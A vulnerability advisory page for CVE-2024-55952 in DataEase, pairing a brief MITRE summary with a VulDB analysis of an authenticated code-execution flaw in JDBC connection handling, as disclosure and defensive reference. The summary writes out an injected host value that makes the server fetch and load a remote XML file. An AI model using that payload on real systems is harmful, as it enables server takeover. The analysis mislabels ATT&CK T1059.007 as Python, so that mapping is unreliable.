CVE-2024-55952 in DataEase
Summary
by MITRE • 12/18/2024
DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
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Analysis
by VulDB Data Team • 02/20/2025
The CVE-2024-55952 vulnerability affects DataEase, an open source business analytics platform that provides data visualization and reporting capabilities. This authenticated remote code execution flaw represents a critical security weakness that allows attackers with valid user credentials to execute arbitrary code on the target system. The vulnerability specifically manifests within the backend JDBC connection handling mechanism where input parameters are not properly sanitized or validated. The flaw exists in how the application constructs JDBC connection strings, creating an environment where malicious input can be directly interpreted as executable code rather than treated as data.
The technical exploitation of this vulnerability leverages the Spring Framework's ClassPathXmlApplicationContext functionality through carefully crafted JDBC connection parameters. Attackers can construct malicious JDBC connection strings that include the socketFactory parameter pointing to a remote XML configuration file. When the application processes this connection string, it triggers the ClassPathXmlApplicationContext constructor with the malicious payload, effectively enabling remote code execution. The vulnerability demonstrates a classic insecure deserialization pattern where user-controllable input is passed directly to a code execution method without proper sanitization. This type of vulnerability is categorized under CWE-20 as "Improper Input Validation" and specifically relates to CWE-94 which covers "Improper Control of Generation of Code" in the context of remote code execution.
The operational impact of this vulnerability is severe as it transforms a legitimate user account into a full system compromise capability. An authenticated attacker can leverage this vulnerability to execute arbitrary commands, potentially leading to complete system takeover, data exfiltration, or lateral movement within the network. The attack requires only a valid user login, making it particularly dangerous in environments where user access is not strictly controlled. Organizations using DataEase versions prior to 1.18.27 face significant risk exposure, as the vulnerability allows for privilege escalation and persistent access to the affected system. The lack of known workarounds means that organizations must immediately implement the official patch to mitigate this threat. This vulnerability aligns with ATT&CK technique T1059.007 for "Command and Scripting Interpreter: Python" and T1078.004 for "Valid Accounts: Cloud Accounts" when considering the operational context of authenticated access and command execution capabilities.
The remediation strategy centers on upgrading to DataEase version 1.18.27 which contains the necessary patches to address the input validation issues in JDBC connection string handling. Organizations should implement immediate patch management procedures to ensure all affected systems receive the update. Security teams should also monitor for any signs of exploitation attempts, particularly unusual JDBC connection patterns or attempts to access external resources. The vulnerability highlights the importance of input sanitization and parameter validation in database connection handling, particularly when dealing with framework components that support dynamic code loading. Organizations should consider implementing additional security controls such as network segmentation, database access monitoring, and privileged access management to reduce the attack surface and limit potential damage from similar vulnerabilities in the future.